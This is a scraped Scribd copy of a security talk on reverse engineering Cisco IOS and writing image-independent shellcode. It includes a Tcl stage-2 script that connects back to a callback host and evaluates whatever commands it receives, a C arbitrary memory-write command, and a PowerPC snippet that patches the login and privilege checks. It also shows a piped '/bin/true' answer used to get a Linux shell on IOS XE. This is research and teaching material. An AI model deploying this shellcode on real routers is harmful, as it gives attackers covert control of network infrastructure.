0% found this document useful (0 votes)
362 views53 pages

Cisco Ios Shellcode: All-In-One: George Nosenko

The document discusses Cisco IOS reverse engineering and shellcoding. It provides an overview of Cisco IOS operating systems and architectures, prior work analyzing Cisco IOS, and unpacking Cisco IOS firmware. It also covers subsystems, registries and services, and debugging Cisco IOS. The presentation is intended to provide background on Cisco IOS internals and discuss developing image-independent shellcodes that work across Cisco devices.

Uploaded by

Robi Tesfaye
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
362 views53 pages

Cisco Ios Shellcode: All-In-One: George Nosenko

The document discusses Cisco IOS reverse engineering and shellcoding. It provides an overview of Cisco IOS operating systems and architectures, prior work analyzing Cisco IOS, and unpacking Cisco IOS firmware. It also covers subsystems, registries and services, and debugging Cisco IOS. The presentation is intended to provide background on Cisco IOS internals and discuss developing image-independent shellcodes that work across Cisco devices.

Uploaded by

Robi Tesfaye
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 53

CISCO IOS SHELLCODE: ALL-IN-ONE

George Nosenko
gnosenko@dsec.ru
CISCO IOS SHELLCODE: ALL-IN-ONE

George Nosenko
•  Security researcher at Digital Security
•  Bug Hunter
•  Exploit Developer
CISCO IOS SHELLCODE: ALL-IN-ONE

Agenda

Part 1: Cisco IOS Reverse Engineering Part 2: Cisco IOS Shellcoding


•  Main Problem •  MoEvaEon
•  Subsystem •  Main Problems
•  Registry •  Image-independet Shellcodes
•  Processes §  Disassembling Shellcode
•  Glue Code / Simple Code / Dead Code §  Interrupt-Hijack Shellcode
•  Command Parser •  Tcl Shellcode
•  Where is libc? §  How does it work?
•  Other §  Features
•  How to debug Cisco IOS §  LimitaEons
•  How to debug Cisco IOS XE §  How is it made?
CISCO IOS SHELLCODE: ALL-IN-ONE

Prior works

AUacking Network Embedded System Felix ‘FX’ Lindner 2002


The Holy Grail Cisco IOS Shellcode And ExploitaEon Techniques Michael Lynn 2005
Cisco IOS Shellcodes Gyan Chawdhary, Varun Uppal 2007
Remote Cisco IOS FTP Exploit Andy Davis 2007
Killing the myth of Cisco IOS rootkits: DIK SebasEan Muniz 2008
Cisco IOS - AUack & Defense. The State of the Art Felix ’FX’ Lindner 2008
Router ExploitaEon Felix ’FX’ Lindner 2009
Fuzzing and Debugging Cisco IOS SebasEan Muniz, Alfredo Ortega 2011
Killing the Myth of Cisco IOS Diversity Ang Cui, JaEn Kataria, Salvatore J. Stolfo
2011
Research on Cisco IOS Security Mechanisms Xiaoyan Sua 2011
Cisco IOS Rootkits and Malware Jason Nehrboss 2012
SYNful Knock A CISCO IMPLANT Bill Hau, Tony Lee, Josh Homan 2015
CISCO IOS SHELLCODE: ALL-IN-ONE

Cisco Diversity Overview

OperaEon Systems
Cisco IOS
Cisco IOS XE (based on Linux)
Cisco NX-OS (based on Linux)
Cisco IOS XR (based on QNX)
ASA OS (based on Linux)
CatOS
Architectures
PowerPC (Book-E)
MIPS Over 300 000 unique images
Intel x86_x64
Killing the Myth of Cisco IOS Diversity
CISCO IOS SHELLCODE: ALL-IN-ONE

Part 1

CISCO IOS RE
CISCO IOS SHELLCODE: ALL-IN-ONE

Main problem

•  Designed as a single unit - a large, staEcally linked ELF binary


•  Everything is highly integrated and non-modular
•  There is no API

Image size ≈ 142 MB


FuncEons ≈ 350 000
IDA Database ≈ 2.5 GB
Binwalk ≈ 100 GB
CISCO IOS SHELLCODE: ALL-IN-ONE

Reverse in context

Inside Cisco IOS Sooware Architecture


Vijay Bollapragada, CCIE
CurEs Murphy, CCIE
Russ White, CCIE

Cisco IOS Programmer’s Guide
Architecture Reference
Sooware Release 12.0
Fioh EdiEon
February 1999
CISCO IOS SHELLCODE: ALL-IN-ONE

Unpacking Firmware

•  The image may be self-decompressing


•  The image may contain:
§  loader
§  driver for flash
§  firmware for addiEonal hardware
§  cerEficates

•  Binwalk will work successfully, but it generates a large output


•  To automate the analysis, you need to write an unpacker

Killing the myth of Cisco IOS rootkits: DIK


CISCO IOS SHELLCODE: ALL-IN-ONE

Trace strings

Trace strings

FuncEon names
CISCO IOS SHELLCODE: ALL-IN-ONE

Trace strings
def rename_funcs(strings=None, paUern=None):

names = [s for s in strings if re.search(paUern, str(s)) is not None]

for name in names:
for ref in DataRefsTo(name.ea):
old_name = GetFuncEonName(ref)
func_addr = LocByNameEx(ref, old_name)

if func_addr == BADADDR or
has_user_name(getFlags(func_addr)):
break

MakeName( func_addr, str(name))

≈ 8.5%
break

if __name__ == "__main__":
rename_funcs(strings=Strings(), paUern=r'^[a-z]{3,}_[a-z]+_')
CISCO IOS SHELLCODE: ALL-IN-ONE

Subsystems

Router# show subsys ? struct subsystype_


class Show subsystems by class {
memory Show subsystems memory usage
unsigned int magic1;
name Show subsystems by name
running Show subsystem information about running processes unsigned int magic2;
| Output modifiers unsigned int header_version;
<cr> unsigned int kernel_majversion;
unsigned int kernel_minversion;
Router# show subsys char* namestring;

unsigned int subsys_majversion;
Name Class Version
cef Kernel 1.000.000 unsigned int subsys_minversion;
hw_api_trace_chain Kernel 1.000.001 unsigned int subsys_editversion;
mtrie Kernel 2.000.001 void* init_address;
adj_trace_chain Kernel 1.000.001 SUBSYSTEM_CLASS class;
alarm Kernel 1.000.001 unsigned int id;
arp Kernel 1.000.001
char* properties[SUBSYS_MAX];
arp_app_data Kernel 1.000.001
... };
CISCO IOS SHELLCODE: ALL-IN-ONE

Subsystems

All data relaEng to a subsystem is located below the header


CISCO IOS SHELLCODE: ALL-IN-ONE

Subsystems
def create_subsytems(name='subsystype_'):
for seg in get_data_segment():
for ea in search(start=seg.startEA, end=seg.endEA, paUern='C1 5C 05 15 C1 5C 05 15'): # it uses FindBinary

p_name, p_func, sysclass = Dword(ea + 0x14), Dword(ea + 0x24), Dword(ea + 0x28)

SetColor(p_func, CIC_FUNC, get_color_by_subsysclass(sysclass))

func_name = GetString(p_name)
if func_name == '':
conEnue

if not has_user_name(getFlags(p_func)):
print "ea: 0x%x 0x%x %s" % (ea, p_func, func_name)
MakeNameAuto(p_func, func_name + '_subsys_init', SN_NOCHECK)
CISCO IOS SHELLCODE: ALL-IN-ONE

Registries and Services Router# show registry


--------------------------------------------

•  Linker-independent mechanism
CDP : 96 services
CDP / 1 : List list[001]
0x062E6F38
•  Service is an interface into subsystem ...
CDP / 14 : Case size[000] list[003] default=0x05B4ED60 return_void
1 0x046D03BC
•  Registry is a collecEon of services 2 0x046D04F4
3 0x046D05D4
CDP / 15 : Value size[000] list[000] default=0
•  Service emulates common C CDP / 16 : Stub 0x064F9230
...
construct (loop, switch, etc.) CDP / 21 : Stub 0x05B4ED64 return_zero
...

≈ 7.4%
•  8-12 different types
CDP / 38 : List list[004]
0x06B42A88
0x04D24970
0x06747680
0x06A0CB50
...
CDP / 54 : Loop list[005]
0x06A859CC
0x08CA07F0
0x087AC228
[REG_NAME][NUM_SERVICE][TYPE](SUB)[ADDR] 0x07EF5CE8
0x084B034C
...
CDP / 57 : Retval size[000] list[000] default=0x046CB720

...
CDP : 96 services, 440 global bytes, 600 heap bytes
CISCO IOS SHELLCODE: ALL-IN-ONE

Process (is equivalent of a thread)

#include “sched.h”
pid_t cfork(forkproc (*padd), long pp, int stack, char *name, int Uynum);

pid_t process_create(process_t (*padd), char *name, stack_size_t stack, process_priority_t priority);
. . .
result = process_create(bootload, “Boot Load”, LARGE_STACK, PRIO_NORMAL);
if (result != NO_PROCESS) {
process_set_arg_num(result, loading);
process_set_Uynum(result, startup_Uynum);
}

Router# show processes



CPU utilization for five seconds: 2%/0%; one minute: 2%; five minutes: 2%
PID QTy PC Runtime (ms) Invoked uSecs Stacks TTY Process
1 Cwe 5B63990 152 11998 1225228/26000 0 Chunk Manager
2 Csp 6DE5568 48 37481 122612/23000 0 Load Meter
3 Mwe 44929A4 12 182631 028740/29000 0 BGP Scheduler
4 Mwe 7A426D8 0 11 025748/26000 0 Retransmission
CISCO IOS SHELLCODE: ALL-IN-ONE

Process. How to find a process_create() fast

•  Process is an internal structure (similar to PEB)


•  Process is allocated in cfork() at 05B9AFDC
•  A cfork () is called in process_create()

Router# show memory processor | include Process



Address Bytes Prev Next Ref PrevF NextF Alloc PC what

12474BAC 0000000160 124737F8 12474C78 001 -------- -------- 08DF1798 *Init*
12474C78 0000000160 12474BAC 12474D44 001 -------- -------- 08DF1798 *Init*
...
1247BD18 0000004288 1247B710 1247CE04 001 -------- -------- 0638C148 TTY data
12483A50 0000000688 12483984 12483D2C 001 -------- -------- 05B9AFDC Process
...
CISCO IOS SHELLCODE: ALL-IN-ONE

Process

def find_all_proocess(func=None, proc_name_reg='r4'):


ea = func.startEA

for i, ref in enumerate(CodeRefsTo(ea, True)):
proc_ep, proc_name = get_proc_entry_point(ref), get_proc_name(ref, dest_reg=proc_name_reg)

if proc_ep is None: conEnue

if has_dummy_name(GetFlags(proc_ep)):
if MakeNameEx(proc_ep, proc_name, SN_NOWARN) == 0:
print '[!] %d: MakeName failed ref=0x%x: 0x%x, %s' % (i, ref, proc_ep, proc_name)

SetColor(proc_ep, CIC_FUNC, COLOR)

if __name__ == '__main__':
find_all_proocess(func=get_func(get_name_ea(BADADDR, 'process_create'))
CISCO IOS SHELLCODE: ALL-IN-ONE

Glue Code / Simple Code / Dead Code


.text:041AF174 glue_sub_41AF174__memcpy:
.text:041AF174
.text:041AF174 3D 60 08 DF lis r11, _memcpy@h FindBinary( 7D 69 03 A6 4E 80 04 20 )
.text:041AF178 39 6B 5F 24 addi r11, r11, _memcpy@l
.text:041AF17C 7D 69 03 A6 mtctr r11
.text:041AF180 4E 80 04 20 bctr
.text:041AF180 # End of function glue_sub_41AF174__memcpy

.text:04110830 get_value_at_wC0011F4_o110:
.text:04110830 FindBinary( 3D 20 ?? ?? 80 69 ?? ??
.text:04110830 3D 20 0C 00 lis r9, off_C0011F4@h
.text:04110834 80 69 11 F4 lwz r3, off_C0011F4@l(r9)
38 63 ?? ?? 4E 80 00 20 )
.text:04110838 38 63 01 10 addi r3, r3, 0x110
.text:0411083C 4E 80 00 20 blr
.text:0411083C # End of function get_value_at_wC0011F4_o110

.text:0412E5FC return_one:
FindBinary( 38 60 00 01 4E 80 00 20 )
.text:0412E5FC 38 60 00 01 li r3, 1

≈ 19%
.text:0412E600 4E 80 00 20 blr
.text:0412E600 # End of function return_one
CISCO IOS SHELLCODE: ALL-IN-ONE

Command Parser Tree

•  Located under the subsystem header struct tree_node


{
tree_node* right; type = 0x56
•  Node contains different informaEon tree_node* left;
depending on the type unsigned int type; payload = 0x1A1A1A1A
payload* data;
unsigned int unknown; struct payload_cmd
•  The root node has type = 0x56 }; {
char* name;
type = 0x45 char* description;
...
permission priv;
...
struct payload_handler };
{
void* handler;
void* arg; type = 0x1A
...
};
CISCO IOS SHELLCODE: ALL-IN-ONE

Where is libc?

•  In my case, libc is located at end of the code in .text

•  libc is a layer over OS service


(prinƒ, fopen, socket, malloc…)

•  libc is a collecEon of base funcEons


(memcpy, strcpy, stncat…)

•  A base funcEon is a simple code i.e.
has a liUle cycloma6c complexity

Look for all simple funcEons around the end of the code
CISCO IOS SHELLCODE: ALL-IN-ONE

Magic People, Voodoo People!

Process Image/Boot/Code signing


0xBEEFCAFE - Process Block 0xFEEDFACE - Envelope header
0xBAD00B1E - Flash Driver (atafslib)
Memory 0xBEEFCAFE - Key Record Info
0xAB1234CD - Heap Block
0xFD0110DF - Red Zone
0xDEADB10B - Pool
0xAFACEFAD - Packet

Other
0x1A1A1A1A - Parser Root Node
0xABABABAB - TCP socket (TCB)
0xDEADCODE - Invalid interrupt handler
CISCO IOS SHELLCODE: ALL-IN-ONE

Cisco Discovery
Router# show processes ? Router# show stack 1
cpu Show CPU use per process Process 1: Chunk Manager
memory Show memory use per process Stack segment 0x1247D30C - 0x1248389C
FP: 0x12483860, RA: 0x5B9CBFC
Router# show memory ? FP: 0x12483888, RA: 0x5B63994
allocating-process Show allocating process name FP: 0x12483890, RA: 0x6DEEFA0
io IO memory stats FP: 0x0, RA: 0x6DE8834
processor Processor memory stats
summary Summary of memory usage per alloc PC Router# show tcp brief all
transient TCB Local Address Foreign Address (state)
57B455EC 0.0.0.0.64999 *.* LISTEN
Router# show buffers all ? 56FAD21C 0.0.0.0.34154 *.* LISTEN
dump Show buffer header and all data
header Show buffer header only Router# show ip sockets
packet Show buffer header and packet data
pool Buffers in a specified pool
Router# show version
Router# show tech-support
Router# show list Router# show inventory
List Manager: Router# show module
10944 lists known, 5907113 lists created
ID Address Size/Max Name Router# show region
1 FA7CA30 10/- Region List Router# show module
2 E9C9560 1/- I/O Router# show platform hardware tlb
3 E9C85D0 2/- Processor

CISCO IOS SHELLCODE: ALL-IN-ONE

Debugging under Cisco IOS

•  Cisco IOS contains a GDB server, but…


Router> enable
Router# gdb kernel

•  It doesn’t work with a generic GDB client L


because the RSP protocol is a liUle different

•  You can:
use ROMMON;
patch old GDB;
use IODIDE;
create an adapter for IDA Pro.

CISCO IOS SHELLCODE: ALL-IN-ONE

Debugging under Cisco IOS XE (3.3.5SE)

•  Cisco IOS doesn’t contain a GDB server, but…


•  You can build (staEc) gdbserver and GDB for target plaƒorm
•  Then copy gdbserver to device and get Linux Shell
Switch> enable
Switch# configure terminal
Switch(config)# service internal
Switch(config)# end
Switch# request system shell
Activity within this shell can jeopardize the functioning of the system.
Are you sure you want to continue? [y/n] Y
Challenge:e2a41a61930e92d5da…
Please enter the shell access response based on the above challenge…
aaa | /bin/true

[Switch:/]$ uname -a
Linux Switch 2.6.32.59-cavium-octeon2.cge-cavium-octeon… mips64 GNU/Linux

•  AUach gdbserver to process “iosd”


(flash:/ map at /mnt/sd3/user)
[Switch:/mnt/sd3/user/gdbservers]$ ./gdbserver.mips /dev/ttyS0 --attach 8566
CISCO IOS SHELLCODE: ALL-IN-ONE

Part 2

CISCO SHELLCODING
CISCO IOS SHELLCODE: ALL-IN-ONE

Motivation

Our pentesters ooen deal with Cisco equipment, parEcularly


with binary vulnerabiliEes

In public, there is no shellcode for the needs of pentesters

We need a flexible and powerful tool


CISCO IOS SHELLCODE: ALL-IN-ONE

Main problems / Earlier shellcode Tiny shellcode by Gyan Chawdhary


.equ ret, 0x804a42e8 # hardcode
•  There is no open API or syscall’s for a third party developer. .equ login, 0x8359b1f4 # hardcode
.equ god, 0xff100000
System calls are the interface into ROMMON .equ priv, 0x8359be64 # hardcode
§  put char in console
main:
§  reboot # login patch begin
§  change confreg, etc lis 9, login@ha
la 9, login@l(9)
li 8,0
stw 8, 0(9)
•  Cisco IOS Binary Diversity # login patch end

# priv patch begin


•  Cisco IOS is highly integrated (staEc linked) one big ELF lis 9,
la 9,
priv@ha
priv@l(9)
without any modules (e.g. *.so) lis 8, god@ha
la 8, god@l(8)
stw 8, 0(9)
# priv patch end
Cisco IOS Bind shellcode by Varun Uppal # exit code
Cisco IOS Connectback shellcode by Gyan Chawdhary lis 10, ret@ha
addi 4, 10, ret@l
Cisco IOS Shellcodes – BlackHat USA 2008 mtctr 4
bctrl
CISCO IOS SHELLCODE: ALL-IN-ONE

Image-independent shellcodes

1.  Signature-based Shellcode by Andy Davis - Version-independent IOS shellcode, 2008


Invariant is a structure of code

2.  Disassembling Shellcode by Felix ‘FX’ Lindner - Cisco IOS Router ExplotaEon, 2009
Invariant is an unique string

3.  Interrupt-Hijack Shellcode by Columbia University NY - Killing the Myth of Cisco IOS Diversity, 2011
Invariant is an interrupt handler rouEnes

All leverage a common Cisco IOS invariant to overcome a binary diversity


CISCO IOS SHELLCODE: ALL-IN-ONE

Disassembling Shellcode

Basic technique
1.  Find a unique string to determine its address .text
2.  Look for a code which references this string
3.  Patch the funcEon

Pros & Cons


•  Reliable - it works on a wide range of Cisco equipment
•  Full interacEon, but it is not a covert
•  We have to be constrained by only IOS shell .data
•  May cause watchdog Emer excepEons to be thrown,
which terminates and logs all long running processes

Cisco IOS Router ExplotaEon, 2009


Killing the Myth of Cisco IOS Diversity, 2011
CISCO IOS SHELLCODE: ALL-IN-ONE

Interrupt-Hijack Shellcode

Two-stage aUack
Stage 1: 1. Unpack the second-stage shellcode
2. Locate ERET instrucEon
3. Intercept all interrupt handlers
Stage 2: 1. Receive command by looking for incoming packets with
specific format Stage 1
2. Execute command
Pros & Cons
•  Fast, Stealth, High Privilege
•  Create a hidden channel over ICMP
•  It has a complex structure, it operates asynchronously
•  It presupposes a database containing the image-dependent
payload to stage 3
•  Rootkit-oriented

Killing the Myth of Cisco IOS Diversity, 2011 Stage 2


CISCO IOS SHELLCODE: ALL-IN-ONE

Interesting fact about SYNful Knock

It seems that the SYNful Knock implant works in a similar way as


the Interrupt-Hijack shellcode does
FireEye: SYNful Knock A CISCO IMPLANT
CISCO IOS SHELLCODE: ALL-IN-ONE

Requirements to our shellcode

•  Image and CPU architecture should be independent


•  Works on a wide range of Cisco equipment
•  Pentest-oriented
•  The most powerful and flexible
•  So fast that not to be caught by a watchdog
CISCO IOS SHELLCODE: ALL-IN-ONE

Demo 0x01
CISCO IOS SHELLCODE: ALL-IN-ONE

Tool Command Language

•  Invented by John K. Ousterhout, Berkeley, 1980s


hUp://www.tcl.tk
•  Interpreted Language, runEme available for many
plaƒorms (socket, files, regexp, list, etc.)
•  Tcl has been included in Cisco IOS as a generic
scripEng language since 2003 (Release 12.3(2)T)
•  In IOS, Tcl is extended by special commands:
§  exec - executes an IOS shell command
§  ios_config - changes configuraEon
§  typeahead - emulates a user input
§  etc. Cisco Feature Navigator
•  Tcl Policy for Embedded Event Manager (EEM)
CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl and Pentesting

•  Almost the only way to extend the funcEonality of Cisco IOS


•  Tcl scripts are portable between different plaƒorms

Backdoors More Ideas (TwiUer as CC, Bot, Flood, Exploit)


CreaEng Backdoors in Cisco IOS using Tcl AUacking with Cisco devices PH-Neutral 2009
AUacking with Cisco devices Hashdays 2010
Tools
AUacking with Cisco devices HSLU 2011
IOSMap: TCP and UDP Port Scanning on Cisco IOS Plaƒorms Cisco Support Community/EMM ScripEng
IOScat - a Port of Netcat's TCP funcEons to Cisco IOS

Malware Shellcode
IOSTrojan: Who really owns your router? Felix ‘FX’ Lindner first proposed the use of Tcl in
Cisco IOS Rootkits and Malware (Hakin9 Vol2 No4) the shellcode Cisco IOS Router ExplotaEon
CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage 1
1.  Determine the memory layout .text
2.  Look for the Tcl subsystem in .data shellcode
callback server
3.  Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4.  Determine addresses of all handlers for Tcl IOS
command extension
5.  Create new Tcl commands
Tcl_Iterp
6.  Create new Tcl Interpreter by using Tcl C API Txt
7.  Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1.  Script connects to the “callback” server cisco router
2.  Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage 1
1.  Determine the memory layout .text
2.  Look for the Tcl subsystem in .data shellcode
callback server
3.  Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4.  Determine addresses of all handlers for Tcl IOS
command extension
5.  Create new Tcl commands
Tcl_Iterp
6.  Create new Tcl Interpreter by using Tcl C API Txt
7.  Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1.  Script connects to the “callback” server cisco router
2.  Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE

Determine the memory layout

MoEvaEon
•  To reduce the search Eme •  Have to use the System Purpose Registers (SPR)
•  Not to cause an access violaEon •  This method depends on the processor architecture
•  We can skip this step
•  Because our shellcode is developed in C, it's not a big
problem
Router# show platform hardware tlb

Virt Address range Phy Address range W-I-M-G-E-S Attr TS ESEL
============================================================================
0xFF000000-0xFFFFFFFF 0x0_FF000000-0x0_FFFFFFFF 1-1-0-1-0-0 RWX 0 (0)
. . .
0x04000000-0x07FFFFFF 0x0_04000000-0x0_07FFFFFF 0-0-1-0-0-0 RWX 0 (5)
0x08000000-0x0BFFFFFF 0x0_08000000-0x0_0BFFFFFF 0-0-1-0-0-0 R-X 0 (6)
0x0C000000-0x0FFFFFFF 0x0_0C000000-0x0_0FFFFFFF 0-0-1-0-0-0 RW- 0 (7)
. . .
CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage 1
1.  Determine the memory layout .text
2.  Look for the Tcl subsystem in .data shellcode
callback server
3.  Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4.  Determine addresses of all handlers for Tcl IOS
command extension
5.  Create new Tcl commands
Tcl_Iterp
6.  Create new Tcl Interpreter by using Tcl C API Txt
7.  Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1.  Script connects to the “callback” server cisco router
2.  Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE

Looking for the Tcl subsystem

MoEvaEon
•  To reduce the search Eme
•  All data relaEng to the Tcl subsystem is located below the header
•  All funcEons relaEng the Tcl subsystem is located within tcl_subsys_init

•  Locate all subsystems by signature C15C0515 C15C0515


•  Find the Tcl subsystem by name “tcl”

subsystype_ <0xC15C0515, 0xC15C0515, 1, 0, 0, "tcl", 2, 0, 1, tcl_subsys_init, Library, 0, 0, 0>


CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage 1
1.  Determine the memory layout .text
2.  Look for the Tcl subsystem in .data shellcode
callback server
3.  Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4.  Determine addresses of all handlers for Tcl IOS
command extension
5.  Create new Tcl commands
Tcl_Iterp
6.  Create new Tcl Interpreter by using Tcl C API Txt
7.  Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1.  Script connects to the “callback” server cisco router
2.  Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE

Find Tcl C API Table

Tcl C API #define TCL_STUB_MAGIC 0xFCA3BACF


•  used for embedding TclStubs tclStubs =
•  used for extending {
TCL_STUB_MAGIC,
•  Tcl API
&tclStubHooks,
Tcl_PkgProvideEx, /* 0 */
Tcl_PkgRequireEx, /* 1 */
•  To abstract the specifics of the plaƒorm, a
funcEon’s pointer table tclStubs is used Tcl_Panic, /* 2 */
. . .
•  We can get address of tclStubs by looking for the Tcl_CreateCommand, /* 91 */
signature 0xFCA3BACF Tcl_CreateInterp, /* 94 */
Tcl_DeleteInterp, /* 110 */
Tcl_Eval, /* 129 */
Tcl_Exit, /* 133 */
. . .
}
CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage 1
1.  Determine the memory layout .text
2.  Look for the Tcl subsystem in .data shellcode
callback server
3.  Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4.  Determine addresses of all handlers for Tcl IOS
command extension
5.  Create new Tcl commands
Tcl_Iterp
6.  Create new Tcl Interpreter by using Tcl C API Txt
7.  Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1.  Script connects to the “callback” server cisco router
2.  Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE

Determine address of a handler for an extension

MoEvaEon Tcl_Command Tcl_CreateCommand _(


•  We want to use the Tcl IOS extensions Tcl_Interp * interp,
char * cmdName,

dTcl_CmdProc * proc,
•  We already have (in tclStubs ) the address of ClientData clientData,
Tcl_CreateCommand Tcl_CmdDeleteProc * deleteProc);

•  So, we can locate all the places where it is called


3C 80 09 94 lis r4, aIos_config@h # "ios_config"
•  Then we can get the handler’s address and the 3C A0 05 A7 lis r5, ios_config@ha
name of extension by disassembling 38 84 12 44 addi r4, r4, aIos_config@l # cmdName
38 A5 DF 0C addi r5, r5, ios_config@l # cmdProc

38 C0 00 00 li r6, 0 # clientData
38 E0 00 00 li r7, 0 # deleteProc
7F E3 FB 78 mr r3, r31 # interp
48 01 0F 8D bl Tcl_CreateCommand
CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage 1
1.  Determine the memory layout .text
2.  Look for the Tcl subsystem in .data shellcode
callback server
3. Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4.  Determine addresses of all handlers for Tcl IOS
command extension
5.  Create new Tcl commands
Tcl_Iterp
6.  Create new Tcl Interpreter by using Tcl C API Txt
7.  Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1.  Script connects to the “callback” server cisco router
2.  Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE

Create your own Tcl command

int wmem(void* clientData, void* interp, int argc, char** argv) // wmem addr value
{
Interp* iPtr = (Interp *) interp;
unsigned int* ptr = NULL;
unsigned int value = 0;
if(argc != 3) {
iPtr->stubTable->tcl_AppendResult(interp, "wrong args", (char *) NULL);
return TCL_ERROR;
}
if(iPtr->stubTable->tcl_GetInt(interp, argv[1], &ptr) != TCL_OK) return TCL_ERROR;
if(iPtr->stubTable->tcl_GetInt(interp, argv[2], &value) != TCL_OK) return TCL_ERROR;

*ptr = value; // write to an arbitrary address


return TCL_OK;
}
CISCO IOS SHELLCODE: ALL-IN-ONE

Tcl Shellcode. How does it work?

Stage 1
1.  Determine the memory layout .text
2.  Look for the Tcl subsystem in .data shellcode
callback server
3.  Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4.  Determine addresses of all handlers for Tcl IOS
command extension
5.  Create new Tcl commands
Tcl_Iterp
6.  Create new Tcl Interpreter by using Tcl C API Txt
7.  Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1.  Script connects to the “callback” server cisco router
2.  Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE

Run Tcl script from memory / Eval^2

void shellcode() {
. . . # ./tcl/stage2.tcl
Tcl_Interp* interp = Tcl_CreateInterp();
Tcl_CmdProc* tcl_exec = set sockid [ socket "192.168.1.2" 1337]
find_Tcl_command(subsys->init_address, 1MB, "exec",
Tcl_CreateCommand); while {1}
if(tcl_exec != NULL){ {
Tcl_CreateCommand(interp, "exec", tcl_exec, 0, 0); flush $sockid
} set line [gets $sockid]
Tcl_CreateCommand(interp, "wmem", wmem, 0, 0); catch {eval $line} cmdres
const char* script = puts $sockid $cmdres
#include "./tcl/stage2.tcl" }
;
Tcl_Eval(interp, script); close $sockid
. . .
}
CISCO IOS SHELLCODE: ALL-IN-ONE

Features / Properties / Limitations

Features ProperEes
•  We have a shell with the highest level of privileges •  Image-independent
•  We can work with file system and sockets •  It’s easy to port to other CPU architecture
•  We can read/write memory: •  Approach can be applied to Cisco IOS XE
•  to change behavior of Cisco IOS •  No need to worry about a watchdog
•  to analyze IOMEM •  Hijack a process

Advanced Features LimitaEons


•  Macro Command (e.g. create GRE tunnel) •  Tcl is not everywhere
•  AutomaEon of aUacks •  The relaEvely large size (2KB – 2.5KB)
•  Reuse other TCl tools •  We can not create a Tcl server
•  ROMMON Trojan •  It uses an open channel (TCP connecEon)
CISCO IOS SHELLCODE: ALL-IN-ONE

Demo 0x02
CISCO IOS SHELLCODE: ALL-IN-ONE

Conclusion
CISCO IOS SHELLCODE: ALL-IN-ONE

The End
www.dsec.ru
gnosenko@dsec.ru

You might also like